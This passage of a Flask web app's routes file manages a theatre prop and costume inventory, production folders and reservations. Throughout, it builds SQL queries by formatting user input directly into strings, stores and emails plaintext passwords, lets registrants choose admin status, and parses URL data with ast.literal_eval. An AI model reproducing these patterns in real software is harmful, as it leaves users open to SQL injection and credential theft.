functions.getImagedata(ph_front)\n imageList[idx] = imgData\n # print(imageList)\n \n\n\n return render_template('home.html', itemid=itemid, itemname=itemname, image=imageList)\n\n#rendering registration page\[email protected]('/register')\ndef newUser():\n error = request.args.get('error')\n return render_template('register.html', error=error)\n\n#rendering forgot password page\[email protected]('/forgotpass')\ndef forgotPass():\n if request.args.get('error') is None:\n # error = 'Please enter email address.'\n error = None\n else:\n error = 'Please enter email address.'\n # error = request.args.get('error')\n return render_template('forgotpass.html', error=error)\n\n#For after clicking on forgot password button \[email protected]('/forgotpass', methods=['POST'])\ndef sendMail():\n email = request.form['email']\n query = \"Select password from registereduser Where email = '{0}';\".format(email)\n\n try: \n cursor.execute(query)\n tup = cursor.fetchone()\n\n if tup is None:\n ##Error message for wrong password/username\n\n error = 'The email you have entered is unregistered.'\n return redirect(url_for('forgotPass', error=error))\n\n msg = Message(\"Your password is {0}\".format(tup), sender=(\"[email protected]\"), recipients=[\"{0}\".format(email)])\n mail.send(msg)\n except Exception as e:\n # print (e)\n query = \"rollback;\"\n cursor.execute(query)\n error = 'Please enter an email.'\n return redirect(url_for('forgotPass', error=error))\n error = 'Email sent'\n return redirect(url_for('welcome', error=error))\n\n#def for registering, occurs after clicking registration button\[email protected]('/postregister', methods=['POST'])\ndef register():\n # print (\"in here\")\n username = request.form['username']\n email = request.form['email']\n password = request.form['password']\n error = None\n \n #Account type not accessed\n accountType = request.form['accountType']\n if accountType == 'studentAccount':\n isAdmin = False\n else:\n isAdmin = True\n\n if username == '' or email == '' or password == '':\n error = 'Please fill in all fields.'\n return redirect(url_for('newUser', error=error))\n\n query = \"INSERT into registereduser values ('{0}', '{1}', '{2}', {3});\".format(email, username, password, isAdmin)\n\n try: \n cursor.execute(query)\n # print (\"executed\")\n except Exception as e: \n query = \"rollback;\"\n cursor.execute(query)\n\n ##If registration fails\n error = 'Account creation has failed.'\n return redirect(url_for('newUser', error=error))\n\n conn.commit()\n return redirect(url_for('loggedin'))\n\n# renders addItem page\[email protected]('/addItem')\ndef add():\n if functions.isLoggedIn(session.get('user')) is False:\n return redirect(url_for('welcome'))\n else:\n error = request.args.get('error')\n return render_template('addItem.html', error=error)\n\n# Add item to the database, after button is clicked on add item page.\[email protected]('/postaddItem', methods=['POST'])\ndef addItem():\n if request.form.get(\"add-item-button\"):\n\n #initialize all values from the html form here (except photos)\n # item_id = request.form.get('barcode')\n item_id = functions.generate_barcode(conn, cursor)\n # print (item_id)\n\n item_name = request.form.get('itemname')\n\n # Check this before continuing through everything. All items MUST have a name\n if item_name == '':\n error = 'Item must have a name.'\n return redirect(url_for('add', error=error))\n\n # Check if itemName already exists\n itemNameQuery =\"SELECT itemname FROM item where itemname='{0}'\".format(item_name)\n cursor.execute(itemNameQuery)\n itemnames = cursor.fetchall()\n # print (\"i\" , itemnames)\n\n if len(itemnames) > 1:\n error = 'Another item already exists with that name. See the Help & FAQ menu for more details.'\n return redirect(url_for('add', error=error))\n\n description = request.form.get('description')\n\n prop_t = request.form.get('prop')\n costume_t = request.form.get('costume')\n time_list = request.form.getlist('time')\n culture_list = request.form.getlist('culture')\n sex = request.form.get('gender')\n color_list = request.form.getlist('color')\n size = request.form.get('size')\n condition = request.form.get('condition')\n item_type = None\n i_type = None\n\n # Initialize for photos (Different section just because photos are inserted separately from everything else)\n ph_front = functions.upload_image(request.files.get('photo1'), app.config['UPLOAD_FOLDER'])\n ph_back = functions.upload_image(request.files.get('photo2'), app.config['UPLOAD_FOLDER'])\n ph_top = functions.upload_image(request.files.get('photo3'), app.config['UPLOAD_FOLDER'])\n ph_bottom = functions.upload_image(request.files.get('photo4'), app.config['UPLOAD_FOLDER'])\n ph_left = functions.upload_image(request.files.get('photo5'), app.config['UPLOAD_FOLDER'])\n ph_right = functions.upload_image(request.files.get('photo6'), app.config['UPLOAD_FOLDER'])\n\n # Initialize itemtype and itype (prop or costume) using prop_t and costume_t\n if prop_t and costume_t:\n\n # Redirects with error because a prop cannot be both a prop and a costume\n error = 'Item cannot have both a prop type and an costume type.'\n return redirect(url_for('add', error=error))\n elif prop_t:\n item_type = 'prop'\n i_type = prop_t\n elif costume_t:\n item_type = 'costume'\n i_type = costume_t\n\n # Build query string part for color and timeperiod (diff b/c can choose multiple choices and thus mapped to an array)\n color = functions.build_array_query_string(color_list)\n time = functions.build_array_query_string(time_list)\n culture = functions.build_array_query_string(culture_list)\n\n # String for description\n if description == '':\n description = 'N/A'\n\n #Build Query string (NOTE: this query does not insert photos (done later) and prod folders (not done during creation))\n char_list = [item_id, item_name, description, item_type, i_type, time, culture, sex, color, size, condition]\n query = \"INSERT into item(itemid, itemname, description, itemtype, itype, time, culture, sex, color, size, condition, isavailable, pendingdelete) values (\"\n \n for char in char_list:\n if char != None:\n query += \"'{0}', \".format(char)\n else:\n query += \" NULL, \"\n\n query += \" true, false);\"\n # print (query)\n\n try: \n cursor.execute(query)\n conn.commit()\n\n except Exception as e:\n print (e)\n cursor.execute(\"rollback;\")\n\n ##If item creation fails\n error = 'Item creation has failed. Make sure that the item name is unique. See the Help & FAQ menu for more details.'\n return redirect(url_for('add', error=error))\n\n # Now insert images for the item, which is already in the database.\n try:\n functions.setImageInDatabase(ph_front, 'phfront', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n functions.setImageInDatabase(ph_back, 'phback', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n functions.setImageInDatabase(ph_top, 'phtop', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n functions.setImageInDatabase(ph_bottom, 'phbottom', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n functions.setImageInDatabase(ph_right, 'phright', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n functions.setImageInDatabase(ph_left, 'phleft', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n\n except Exception as e:\n print (e)\n query = \"rollback;\"\n cursor.execute(query)\n\n ##If photo insertion fails\n error = 'Item creation failed because of photo insertion. Make sure that added photos do not share the same name.'\n query = \"DELETE from item where itemid='{0}'\".format(item_id)\n cursor.execute(query)\n conn.commit()\n return redirect(url_for('add', error=error))\n\n error = 'Item successfully added.'\n return redirect(url_for('getItemInfo', item_id=item_id, error=error))\n\n\n# renders addItem page\[email protected]('/help')\ndef help():\n if functions.isLoggedIn(session.get('user')) is False:\n return redirect(url_for('welcome'))\n else:\n error = request.args.get('error')\n return render_template('help.html', error=error)\n\[email protected]('/logout')\ndef logout():\n session.pop('user', None)\n return redirect('/')\n\[email protected]('/setReservation/<item_id>', methods=[\"POST\", \"GET\"])\ndef reserveItem(item_id):\n if functions.isLoggedIn(session.get('user')) is False:\n return redirect(url_for('welcome'))\n else:\n # print (\"pe\", passed_error)\n error = None\n # passed_error = None\n # if type(item_id) == list:\n # itemid = item_id[0]\n # passed_error = item_id[1]\n # else: \n # itemid = item_id\n\n # print(error)\n try:\n # checks to see if the reservation statuses need to be updated.\n changedday, day = functions.updateLastAccess(cursor, conn)\n\n # changedpast: a bool value to see if the number of past reservations \n # per user needs to be checked because a status has been changed to past\n changedpast = False\n\n # if the date is different, we need to update the statuses, \n if changedday:\n changedpast = functions.updateReservationStatus(cursor, conn, day)\n # print (changedpast)\n\n # if changedpast return true, this means that we need to check to see that there are only 3 past reservations per user.\n if changedpast:\n functions.checkNumOfPastReservations(cursor, conn)\n\n #At this point, all updates have been done for the database.\n\n #returns all reservations with that item id\n cursor.execute(\"SELECT * from reservation where itemid='{0}' and (status='current' or status='future');\".format(item_id))\n\n all_reservations_this_item = cursor.fetchall()\n index = 0\n for c in all_reservations_this_item:\n all_reservations_this_item[index] = c[:2] + (c[2].strftime('%Y-%m-%d'), c[3].strftime('%Y-%m-%d')) + c[4:]\n index += 1\n ## Convert the list of tuples to JSON so it can be readable in JavaScript.\n ## [('a','b'),('d','c')] -> [['a','b],['c','d']]\n ## default=str turns datetime.date into str, because it is not JSON serializable\n all_reservations_this_item = json.dumps(all_reservations_this_item, default=str)\n\n ## The datepicker bootstrap automatically chooses today as start and end date in setReservation page.\n ## Ensure the default start and end dates are valid. They are should be the closest available date to today.\n cursor.execute(\"SELECT * from reservation where itemid='{0}' and status='current';\".format(item_id))\n # only get the start, and end. This list of tuples should have length of 1.\n current_item_reservation = [ (x[2],x[3]) for x in cursor.fetchall()]\n\n cursor.execute(\"SELECT * from reservation where itemid='{0}' and status='future';\".format(item_id))\n # only get the start, and end.\n future_item_reservations = [ (x[2],x[3]) for x in cursor.fetchall()]\n # sort the list by the ascending start date.\n future_item_reservations = sorted(future_item_reservations)\n\n # today's date. Type: datetime.date ; Format: '%Y-%m-%d'\n today = datetime.datetime.now()\n today = today.date()\n\n default_start = today\n # if there is the current reservation. Set default_start to a day after enddate of current reservation.\n if len(current_item_reservation) > 0:\n default_start = current_item_reservation[0][1] + datetime.timedelta(days=1)\n\n # if there are any future reservations for that item\n if len(future_item_reservations) > 0:\n for c in future_item_reservations:\n # if startdate of the reservation is same date with default_start, set default_start to a day after enddate of reservation.\n if c[0] == default_start:\n default_start = c[1] + datetime.timedelta(days=1)\n # break the loop at the moment when startdate of the reservation is not as same as default_start.\n else:\n break\n\n default_start = default_start.strftime('%m/%d/%Y')\n\n except Exception as e:\n cursor.execute(\"rollback;\")\n print(e)\n # if passed_error:\n # error = passed_error\n # else: \n error = \"Cannot retrieve reservation information for item {0}.\".format(itemid)\n return render_template('setReservation.html', itemid=item_id, error=error)\n return render_template('setReservation.html', itemid=item_id, all_reservations=all_reservations_this_item, default_start=default_start, error=error)\n\n\[email protected]('/postSetReservation/<item_id>', methods=[\"POST\", \"GET\"])\ndef postReserveItem(item_id):\n #retreive information for reservation creation\n itemid = item_id\n email = session.get('user')\n unformatted_date = (request.form.get('daterange').split())\n start_date = unformatted_date[0]\n end_date = unformatted_date[2]\n\n start_date = datetime.datetime.strptime(start_date, '%m/%d/%Y').date()\n end_date = datetime.datetime.strptime(end_date, '%m/%d/%Y').date()\n\n # This does not check for past, because users should not be able to make reservations that start in the past\n # This would also mess with the scheduler if \"past\" status tuple are reserved.\n status = None\n if start_date <= datetime.datetime.now().date():\n status=\"current\"\n else: \n status=\"future\"\n error = None\n\n try:\n #returns all reservations with that item id\n query = \"INSERT into reservation VALUES ('{0}', '{1}', '{2}', '{3}', '{4}');\".format(email, item_id, start_date, end_date, status)\n # print (query)\n cursor.execute(query)\n conn.commit()\n error = \"Your reservation for item with barcode {0} has been reserved from {1} to {2}.\".format(itemid, start_date, end_date)\n\n except Exception as e:\n cursor.execute(\"rollback;\")\n # print(\"Error on item reservation page:\", e)\n passed_error = \"Your reservation for item with barcode {0} cannot be created for dates {1} to {2}.\".format(itemid, start_date, end_date)\n try:\n #returns all reservations with that item id\n cursor.execute(\"SELECT * from reservation where itemid='{0}';\".format(item_id))\n\n all_reservations_this_item = cursor.fetchall()\n index = 0\n for c in all_reservations_this_item:\n all_reservations_this_item[index] = c[:2] + (c[2].strftime('%Y-%m-%d'), c[3].strftime('%Y-%m-%d')) + c[4:]\n index += 1\n ## Convert the list of tuples to JSON so it can be readable in JavaScript.\n ## [('a','b'),('d','c')] -> [['a','b],['c','d']]\n ## default=str turns datetime.date into str, because it is not JSON serializable\n all_reservations_this_item = json.dumps(all_reservations_this_item, default=str)\n\n except Exception as e:\n cursor.execute(\"rollback;\")\n print(e)\n\n error = \"Cannot retrieve reservation information for item {0}.\".format(item_id)\n return render_template('setReservation.html', itemid=item_id, error=error)\n\n return render_template('setReservation.html', itemid=item_id, all_reservations=all_reservations_this_item, error=passed_error)\n\n return redirect(url_for('getItemInfo', item_id=itemid, error=error))\n\[email protected]('/editReservation/<path:data>', methods=[\"POST\", \"GET\"])\ndef editReservation(data): \n\n import ast\n d = ast.literal_eval(data)\n\n error = None\n email = session.get('user')\n item_id = d.get('itemId')\n\n calendar = d.get('calendarResult')\n split_cal = calendar.split()\n start_date = split_cal[0]\n end_date = split_cal[2]\n old_start_date = d.get('prev_start').split()[0]\n\n # print(item_id)\n # print(start_date)\n # print(end_date)\n # print(old_start_date)\n \n try:\n query = \"UPDATE reservation SET startdate='{0}' , enddate='{1}' WHERE email='{2}' and itemid='{3}' and startdate='{4}';\".format(start_date, end_date, email, item_id, old_start_date)\n # print(query)\n cursor.execute(query)\n conn.commit()\n error = \"Update successful!\"\n except Exception as e:\n cursor.execute(\"rollback;\")\n print(e)\n error = \"Cannot update date.\"\n return redirect(url_for('reservations', error=error))\n return redirect(url_for('reservations', error=error))\n\[email protected]('/deleteReservation', methods=[\"POST\"])\ndef deleteReservation():\n error = None\n email, item_id, start_date, end_date = request.form.get('delreservation').split(' ')\n start_date = datetime.datetime.strptime(start_date, '%m/%d/%Y').date()\n end_date = datetime.datetime.strptime(end_date, '%m/%d/%Y').date()\n\n query = \"DELETE from reservation WHERE email='{0}' and itemid='{1}' and startdate='{2}' and enddate='{3}';\".format(email, item_id, start_date, end_date)\n try:\n cursor.execute(query)\n\n except Exception as e:\n query = \"rollback;\"\n cursor.execute(query)\n\n ##If reservation creation fails\n error = 'Reservation deletion has failed.'\n return redirect(url_for('reservations', error=error))\n\n conn.commit()\n error = 'Reservation has been successful cancelled.'\n return redirect(url_for('reservations', error=error))\n\[email protected]('/editFolders/<item_id>', methods=[\"POST\", \"GET\"])\ndef toEditProdFolders(item_id):\n if functions.isLoggedIn(session.get('user')) is False:\n return redirect(url_for('welcome'))\n else:\n # print(\"to edit prod folders\")\n item_id = item_id\n error = None\n item_name = None\n f1 = None\n f2 = None\n f3 = None\n f4 = None\n f5 = None\n f6 = None\n f7 = None\n f8 = None\n\n\n folderNameQuery = \"SELECT foldername, folderid FROM productionfolders where exists=true;\"\n cursor.execute(folderNameQuery)\n all_folder_names = cursor.fetchall()\n # print(\"All folder names\")\n # print (all_folder_names)\n error = request.args.get('error')\n\n query = \"SELECT itemname, f1, f2, f3, f4, f5, f6, f7, f8 FROM item where itemid='{0}';\".format(item_id)\n # print(\"HERE\")\n # print (query)\n \n #query = \"SELECT * FROM item WHERE itemid='{0}';\".format(item_id)\n try: \n cursor.execute(query)\n all_info = cursor.fetchone()\n # print(\"All info\")\n # print (all_info)\n if len(all_info) > 8:\n item_name = all_info[0]\n f1 = all_info[1]\n f2 = all_info[2]\n f3 = all_info[3]\n f4 = all_info[4]\n f5 = all_info[5]\n f6 = all_info[6]\n f7 = all_info[7]\n f8 = all_info[8]\n\n except Exception as e: \n print (e)\n cursor.execute(\"rollback;\")\n\n # ##If item does not exist etc\n error = 'Item production folder information cannot be retrieved.'\n return redirect(url_for('getItemInfo', item_id=item_id, error=error))\n\n all_folder_id = [f1, f2, f3, f4, f5, f6, f7, f8]\n # print(\"all folder id\")\n # print(all_folder_id)\n all_folder_info = []\n for i in range(len(all_folder_id)):\n fstring = \"f{0}\".format(i + 1)\n for fname, fid in all_folder_names:\n if fid == fstring:\n all_folder_info.append((fname, fid, all_folder_id[i]))\n ## all_folder_info: \n ## [(folder_name, folder_id, if_item_in_folder)]\n ## EX: [('Folder 9', 'f8'), ('Name4', 'f3'), ('Name5', 'f1'), ('Name7', 'f6'), ('Name8', 'f7'), ('Name 10', 'f4'), ('Folder 20', 'f5')]\n # print (all_folder_info)\n\n\n return render_template('editProdFolders.html', itemid=item_id, itemname=item_name, foldername=all_folder_info, error=error)\n\n\[email protected]('/posteditFolders/<item_id>', methods=['POST'])\ndef editProdFolders(item_id):\n # print(\"HERE\")\n item_id = item_id\n f1= request.form.get('f1')\n f2= request.form.get('f2')\n f3= request.form.get('f3')\n f4= request.form.get('f4')\n f5= request.form.get('f5')\n f6= request.form.get('f6')\n f7= request.form.get('f7')\n f8= request.form.get('f8')\n\n # EX: [('f1', None), ('f2', None), ('f3', None), ('f4', None), ('f5', 'f5'), ('f6', 'f6'), ('f7', None), ('f8', None)]\n folder_list=[('f1', f1), ('f2', f2), ('f3', f3), ('f4', f4), ('f5', f5), ('f6', f6), ('f7', f7), ('f8', f8)]\n print(\"folder list\")\n print (folder_list)\n\n query = \"UPDATE item SET \"\n for fid, in_folder in folder_list:\n query += \"{0}=\".format(fid)\n # print (\"in_folder? : \", in_folder, fid)\n if in_folder:\n query += \"TRUE, \"\n else:\n query += \"FALSE, \"\n #Get rid of last \", \" part of string\n query = query[:-2] \n\n query += \" WHERE itemid='{0}';\".format(item_id)\n print (query)\n try:\n cursor.execute(query)\n conn.commit()\n error = \"The item was successfully added to the selected production folders.\"\n except Exception as e:\n print(e)\n cursor.execute(\"rollback;\")\n error = \"Production folder changes cannot be executed.\"\n return redirect(url_for('toEditProdFolders', item_id=item_id, error=error))\n\n return redirect(url_for('getItemInfo', item_id=item_id, error=error))\n\n# render Production Folders page with all folders in the database\[email protected]('/productions', methods=['POST', 'GET'])\ndef prodFolders():\n if functions.isLoggedIn(session.get('user')) is False:\n return redirect(url_for('welcome'))\n else:\n\n error = request.args.get('error')\n folder_names = None\n all_items = None\n\n ## foldernames are now organized by folderid\n folderNameQuery = \"SELECT foldername, folderid FROM productionfolders where exists=true ORDER BY foldername;\"\n try:\n cursor.execute(folderNameQuery)\n folder_names = cursor.fetchall()\n\n item_query = \"SELECT itemname, itemid, f1, f2, f3, f4, f5 ,f6 ,f7, f8, phfront FROM item;\"\n cursor.execute(item_query)\n all_items = cursor.fetchall()\n except Exception as e:\n print (e)\n\n cursor.execute(\"rollback;\")\n error = \"Cannot get production folders.\"\n # print (folder_names)\n print (all_items)\n\n # want: [(Foldername, folderid, [(Itemname, itemid, photo1), (Itemname2, itemid2, photo2)]), (Foldername2, folderid2, [(Itemname, itemid), (Itemname2, itemid2)])]\n ## overall list\n list_of_folders = []\n for f_name, f_id in folder_names:\n\n ## list of items that are in a specific folder\n ## [(Itemname, itemid, photo), (Itemname2, itemid2, photo2)]\n items_in_folders = []\n for i_name, i_id, f1, f2, f3, f4, f5, f6, f7, f8, phf in all_items:\n folder_dict = {}\n folder_dict['f1'] = (f1)\n folder_dict['f2'] = (f2)\n folder_dict['f3'] = (f3)\n folder_dict['f4'] = (f4)\n folder_dict['f5'] = (f5)\n folder_dict['f6'] = (f6)\n folder_dict['f7'] = (f7)\n folder_dict['f8'] = (f8)\n\n if folder_dict.get(f_id):\n # print (phf)\n ph = functions.getImagedata([phf])\n # print (\"FOUND: folder\", f_id, folder_dict[f_id])\n # items_in_folder = (i_id, i_name)\n items_in_folders.append((i_name, i_id, ph))\n # items_in_folders_list.append(items_in_folder)\n\n ## use if want to pass in only folders that have items\n # if len(items_in_folders) > 0:\n # list_of_folders.append((f_name, f_id, items_in_folders))\n\n ## use instead of above if statement if want to pass in info \n ## for all folders, even those with no info.\n list_of_folders.append((f_name, f_id, items_in_folders))\n\n ## Both foldernames and itemsinfolder are lists, sorted by the folderid\n return render_template('prodFolders.html', foldernames=folder_names, itemsinfolder=list_of_folders ,error=error)\n\n# Update the name of production folder\[email protected]('/postrenameFolder', methods=['POST'])\ndef renameFolder():\n # get the folder new name from the user's input\n folderNewName = request.form['foldername']\n # print(\"folderrename\")\n # print(folderNewName)\n\n # get the folder id from the value of 'Save' button\n folderCurrentname = request.form['saveNameButton']\n\n # print(\"foldercurrentname\")\n # print(folderCurrentname)\n\n try:\n query = \"UPDATE productionfolders SET foldername ='{0}' WHERE foldername='{1}';\".format(folderNewName, folderCurrentname)\n cursor.execute(query)\n conn.commit()\n except Exception as e:\n cursor.execute(\"rollback;\")\n\n ##If folder does not exist etc\n error = 'Folder name cannot be updated. Please make sure a folder with this name does not already exist. See the Help & FAQ menu for more details.'\n return redirect(url_for('prodFolders', error=error))\n # Refresh the Production Folders page with the updated name of the folder\n return redirect(url_for('prodFolders'))\n\[email protected]('/productions/<foldername>', methods=['POST', 'GET'])\ndef folderContents(foldername):\n if functions.isLoggedIn(session.get('user')) is False:\n return redirect(url_for('welcome'))\n else:\n error = request.args.get('error')\n foldername = foldername\n # try:\n # except Exception as e:\n # cursor.execute(\"rollback;\")\n\n # ##If folder does not exist etc\n # error = 'Folder information cannot be retrieved'\n # return redirect(url_for('prodFolders', error=error))\n # # Refresh the Production Folders page with the updated name of the folder\n return render_template('prodFolderContents.html', error=error, foldername = foldername)\n\n# render My Reservations page with all reservations in the database for that user\[email protected]('/reservations', methods=['POST', 'GET'])\ndef reservations():\n if functions.isLoggedIn(session.get('user')) is False:\n return redirect(url_for('welcome'))\n else:\n try:\n\n # checks to see if the reservation statuses need to be updated.\n changedday, day = functions.updateLastAccess(cursor, conn)\n\n # changedpast: a bool value to see if the number of past reservations \n # per user needs to be checked because a status has been changed to past\n changedpast = False\n\n # if the date is different, we need to update the statuses, \n if changedday:\n changedpast = functions.updateReservationStatus(cursor, conn, day)\n # print (changedpast)\n\n # if changedpast return true, this means that we need to check to see that there are only 3 past reservations per user.\n if changedpast:\n functions.checkNumOfPastReservations(cursor, conn)\n\n #At this point, all updates have been done for the database.\n\n #get the email of the user\n email = session.get('user')\n\n # query for all past reservations for a user\n # query = \"SELECT * from reservation where email='{0}' and status='past';\".format(email)\n query = \"SELECT email, reservation.itemid, startdate, enddate, status, itemname FROM reservation, item WHERE email='{0}' and item.itemid=reservation.itemid and status='past';\".format(email)\n cursor.execute(query)\n past_user_reservations = cursor.fetchall()\n index = 0\n for c in past_user_reservations:\n past_user_reservations[index] = c[:2] + (c[2].strftime('%m/%d/%Y'), c[3].strftime('%m/%d/%Y')) + c[4:]\n index += 1\n\n # print c\n\n # query for all current reservations for a user\n query = \"SELECT email, reservation.itemid, startdate, enddate, status, itemname FROM reservation, item WHERE email='{0}' and item.itemid=reservation.itemid and status='current';\".format(email)\n cursor.execute(query)\n current_user_reservations = cursor.fetchall()\n index = 0\n for c in current_user_reservations:\n current_user_reservations[index] = c[:2] + (c[2].strftime('%m/%d/%Y'), c[3].strftime('%m/%d/%Y')) + c[4:]\n index += 1\n\n # query for all future reservations for a user\n query = \"SELECT email, reservation.itemid, startdate, enddate, status, itemname FROM reservation, item WHERE email='{0}' and item.itemid=reservation.itemid and status='future';\".format(email)\n cursor.execute(query)\n future_user_reservations = cursor.fetchall()\n index = 0\n editable_reservations = []\n for c in future_user_reservations:\n future_user_reservations[index] = c[:2] + (c[2].strftime('%m/%d/%Y'), c[3].strftime('%m/%d/%Y')) + c[4:]\n index += 1\n if c[1] not in editable_reservations:\n editable_reservations.append(c[1])\n\n #returns all reservations as a whole (needed to know item availability)\n #but only contains items in user has reserved, excluding the past reservations\n query = \"SELECT email, reservation.itemid, startdate, enddate, status, itemname FROM reservation, item WHERE item.itemid=reservation.itemid and (status='current' or status='future');\".format(email)\n cursor.execute(query)\n all_reservations = cursor.fetchall()\n index = 0\n for c in all_reservations:\n if c[1] in editable_reservations:\n all_reservations[index] = c[:2] + (c[2].strftime('%Y-%m-%d'), c[3].strftime('%Y-%m-%d')) + c[4:]\n index += 1\n else:\n all_reservations.pop(index)\n\n ## Convert the list of tuples to JSON so it can be readable in JavaScript.\n ## [('a','b'),('d','c')] -> [['a','b],['c','d']]\n ## default=str turns datetime.date into str, because it is not JSON serializable\n all_reservations = json.dumps(all_reservations, default=str)\n error = request.args.get('error')\n\n except Exception as e:\n cursor.execute(\"rollback;\")\n print(\"Error: \", e)\n error = \"Cannot find your reservations.\"\n return render_template('reservations.html', error=error)\n\n # allreservations gives all reservations in the system\n # past_user_reservations gives the specific user's past reservations (should only have last 3)\n # current gives the specific user's current reservations \n # future gives the specific user's future reservations \n return render_template('reservations.html', past_user_reservations=past_user_reservations, current_user_reservations=current_user_reservations, future_user_reservations=future_user_reservations, all_reservations=all_reservations, error=error)\n\n\[email protected]('/deleteItem/<item_id>', methods=['POST'])\ndef deleteItemFlag(item_id):\n item_id = item_id\n query = \"UPDATE item set pendingdelete=true, f1=FALSE, f2=FALSE, f3=FALSE, f4=FALSE, f5=FALSE, f6=FALSE, f7=FALSE, f8=FALSE where itemid='{0}';\".format(item_id)\n print (query)\n try: \n cursor.execute(query)\n\n except Exception as e: \n query = \"rollback;\"\n cursor.execute(query)\n\n ##If item creation fails\n error = 'Item deletion has failed. Could not remove item from production folders.'\n return redirect(url_for('getItemInfo', item_id=item_id, error=error))\n\n query = \"DELETE from reservation where itemid='{0}';\".format(item_id)\n print (query)\n try: \n cursor.execute(query)\n\n except Exception as e: \n query = \"rollback;\"\n cursor.execute(query)\n\n ##If item creation fails\n error = 'Item deletion has failed. Could not remove item reservations. Item is removed from all production folders.'\n return redirect(url_for('getItemInfo', item_id=item_id, error=error))\n\n conn.commit()\n error = 'Item marked for deletion! Waiting for action by Admin.'\n return redirect(url_for('getItemInfo', item_id=item_id, error=error))\n\n#pre-loading information for a specific item\[email protected]('/item/<item_id>', methods=['POST', 'GET'])\ndef getItemInfo(item_id):\n if functions.isLoggedIn(session.get('user')) is False:\n return redirect(url_for('welcome'))\n else:\n # declare all variables\n error = request.args.get('error')\n item_id = item_id\n item_name = None\n ph_front = None\n ph_back = None\n ph_top = None\n ph_bottom = None\n ph_right = None\n ph_left = None\n description = None\n pending_delete = None\n sex = None\n condition = None\n timep = None\n culture = None\n color = None\n size = None\n item_type = None\n i_type = None\n is_available = None\n\n start_date = None\n end_date = None\n email = None\n is_reserved=False\n\n try: \n # calls functions.py method\n item_name, ph_front, ph_back, ph_top, ph_bottom, ph_right, ph_left, description, pending_delete, sex, condition, timep, culture, color, size, item_type, i_type, is_available = functions.getInfo(item_id, cursor)\n ph_front_data = functions.getImagedata(ph_front)\n ph_back_data = functions.getImagedata(ph_back)\n ph_top_data = functions.getImagedata(ph_top)\n ph_bottom_data = functions.getImagedata(ph_bottom)\n ph_right_data = functions.getImagedata(ph_right)\n ph_left_data = functions.getImagedata(ph_left)\n print (ph_front)\n\n query = \"SELECT startdate, enddate, email FROM reservation WHERE itemid='{0}' and status='current';\".format(item_id)\n cursor.execute(query)\n # print (query)\n current_reservation = cursor.fetchone()\n # print(current_reservation)\n if current_reservation != None:\n\n start_date = str(current_reservation[0])\n end_date = str(current_reservation[1])\n email = current_reservation[2]\n is_reserved = True\n\n na = ('N/A',)\n if condition[0] is None:\n condition = na\n if sex[0] is None:\n sex = na\n if size[0] is None:\n size = na\n if item_type[0] is None:\n item_type = na\n if i_type[0] is None:\n i_type = na\n if color[0] == '{}':\n color = na\n if timep[0] == '{}':\n timep = na\n if culture[0] == '{}':\n culture = na\n\n photo_count = 0\n if ph_front_data:\n photo_count += 1\n if ph_back_data:\n photo_count += 1\n if ph_top_data:\n photo_count += 1\n if ph_bottom_data:\n photo_count += 1\n if ph_right_data:\n photo_count += 1\n if ph_left_data:\n photo_count += 1\n\n except Exception as e: \n print (e)\n cursor.execute(\"rollback;\")\n\n ##If item does not exist etc\n error = 'Item information cannot be retrieved.'\n return redirect(url_for('loggedin', error=error))\n\n ##culture, color, timeperiod and all ph_*_data are arrays\n return render_template('item.html', itemid=item_id, itemname=item_name, phcount=photo_count, phfront=ph_front_data, phback=ph_back_data, phtop=ph_top_data, phbottom=ph_bottom_data, phright=ph_right_data, phleft=ph_left_data, description=description, delete=pending_delete, sex=sex, condition=condition, timeperiod=timep, culture=culture, color=color, size=size, itemtype=item_type, itype=i_type, isavailable=is_available, error=error, r_start=start_date, r_end=end_date, iscurrentlyreserved=is_reserved, email=email)\n\n# renders editItem page\[email protected]('/editItem/<item_id>', methods=[\"POST\", \"GET\"])\ndef edit(item_id):\n if functions.isLoggedIn(session.get('user')) is False:\n return redirect(url_for('welcome'))\n else:\n # declare all variables\n error = request.args.get('error')\n item_id = item_id\n item_name = None\n ph_front = None\n ph_back = None\n ph_top = None\n ph_bottom = None\n ph_right = None\n ph_left = None\n description = None\n pending_delete = None\n sex = None\n condition = None\n timep = None\n culture = None\n color = None\n size = None\n item_type = None\n i_type = None\n is_available = None\n \n try: \n # calls functions.py method\n item_name, ph_front, ph_back, ph_top, ph_bottom, ph_right, ph_left, description, pending_delete, sex, condition, timep, culture, color, size, item_type, i_type, is_available = functions.getInfo(item_id, cursor)\n\n ph_front_data = functions.getImagedata(ph_front)\n ph_back_data = functions.getImagedata(ph_back)\n ph_top_data = functions.getImagedata(ph_top)\n ph_bottom_data = functions.getImagedata(ph_bottom)\n ph_right_data = functions.getImagedata(ph_right)\n ph_left_data = functions.getImagedata(ph_left)\n\n except Exception as e: \n cursor.execute(\"rollback;\")\n print (e)\n\n ##If item does not exist etc\n error = 'Item information cannot be retrieved for edit.'\n return redirect(url_for('loggedin', error=error))\n # print (item_name, ph_front, ph_back, ph_top, ph_bottom, ph_right, ph_left, description, pending_delete, sex, condition, timep, culture, color, size, item_type, i_type, is_available)\n ##culture, color, timeperiod are arrays/tuples\n ## Passes in lists for everything except itemname, and description\n return render_template('editItem.html', itemname=item_name[0], itemid=item_id, phfront=ph_front_data, phback=ph_back_data, phtop=ph_top_data, phbottom=ph_bottom_data, phright=ph_right_data, phleft=ph_left_data, description=description[0], delete=pending_delete, sex=sex, condition=condition, timeperiod=timep, culture=culture, color=color, size=size, itemtype=item_type, itype=i_type, error=error)\n\[email protected]('/posteditItem/<item_id>', methods=[\"POST\"])\ndef editItem(item_id):\n error = request.args.get('error')\n\n #initialize all values from the html form here (except photos)\n item_id = request.form.get('add-item-button')\n item_name = request.form.get('itemname')\n\n # Check this before continuing through everything. All items MUST have a name\n if item_name == '':\n error = 'Item must have a name.'\n return redirect(url_for('edit', error=error, item_id=item_id))\n\n # Check if itemName already exists\n itemNameQuery =\"SELECT itemname FROM item where itemname='{0}'\".format(item_name)\n cursor.execute(itemNameQuery)\n itemnames = cursor.fetchall()\n\n if (len(itemnames) > 1):\n error = 'Another item already exists with that name. See the Help & FAQ menu for more details.'\n return redirect(url_for('edit', error=error, item_id=item_id))\n\n description = request.form.get('description')\n\n prop_t = request.form.get('prop')\n costume_t = request.form.get('costume')\n time_list = request.form.getlist('time-period')\n culture_list 